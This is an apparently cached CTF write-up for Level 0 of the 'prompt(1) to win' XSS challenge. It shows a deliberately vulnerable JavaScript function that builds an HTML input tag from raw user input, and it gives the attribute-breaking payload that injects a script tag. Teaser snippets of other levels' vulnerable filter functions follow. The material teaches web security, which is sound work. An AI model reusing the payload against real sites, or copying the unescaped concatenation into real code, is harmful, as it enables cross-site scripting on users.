【prompt(1) to win】 Level 0 - warm up

3 years ago

source link: https://exp-blog.com/safe/ctf/prompt/level-0-warm-up/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

【prompt(1) to win】 Level 0

javascript

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

水题。直接闭合双引号和标签即可注入。

payload : "><script>prompt(1)</script>

payload.html : 下载

赏

Recommend

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level H1 - Hoisting

题目（隐藏关卡）javascriptfunction escape(input) { // WORLD -1 // strip off certain characters from breaking conditional statement input = input.replace(/[}<]/g, ''); return '...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level 6 - Action

【prompt(1) to win】 Level 6 javascriptfunction escape(input) { // let's do a post redirection try { // pass in formURL#formDataJSON...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level B - In Exception

【prompt(1) to win】 Level B javascriptfunction escape(input) { // name should not contain special characters var memberName = input.replace(/[[|\s+*...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level 3 - HTML Comment

【prompt(1) to win】 Level 3 javascriptfunction escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_');...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level 7 - Length

【prompt(1) to win】 Level 7 javascriptfunction escape(input) { // pass in something like dog#cat#bird#mouse... var segments = input.split('#');...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level 4 - Basic Auth

【prompt(1) to win】 Level 4 javascriptfunction escape(input) { // make sure the script belongs to own site // sample script: http://pr...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level 5 - Input Type

【prompt(1) to win】 Level 5 javascriptfunction escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level 1 - tags stripping

【prompt(1) to win】 Level 1 javascriptfunction escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var s...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level 2 - frowny face

【prompt(1) to win】 Level 2 javascriptfunction escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // o...

exp-blog.com 3 years ago
Cache

【prompt(1) to win】 Level E - Base64

【prompt(1) to win】 Level E javascriptfunction escape(input) { // I expect this one will have other solutions, so be creative :) // mspaint makes al...

【prompt(1) to win】 Level 0 - warm up

Recommend

About Joyk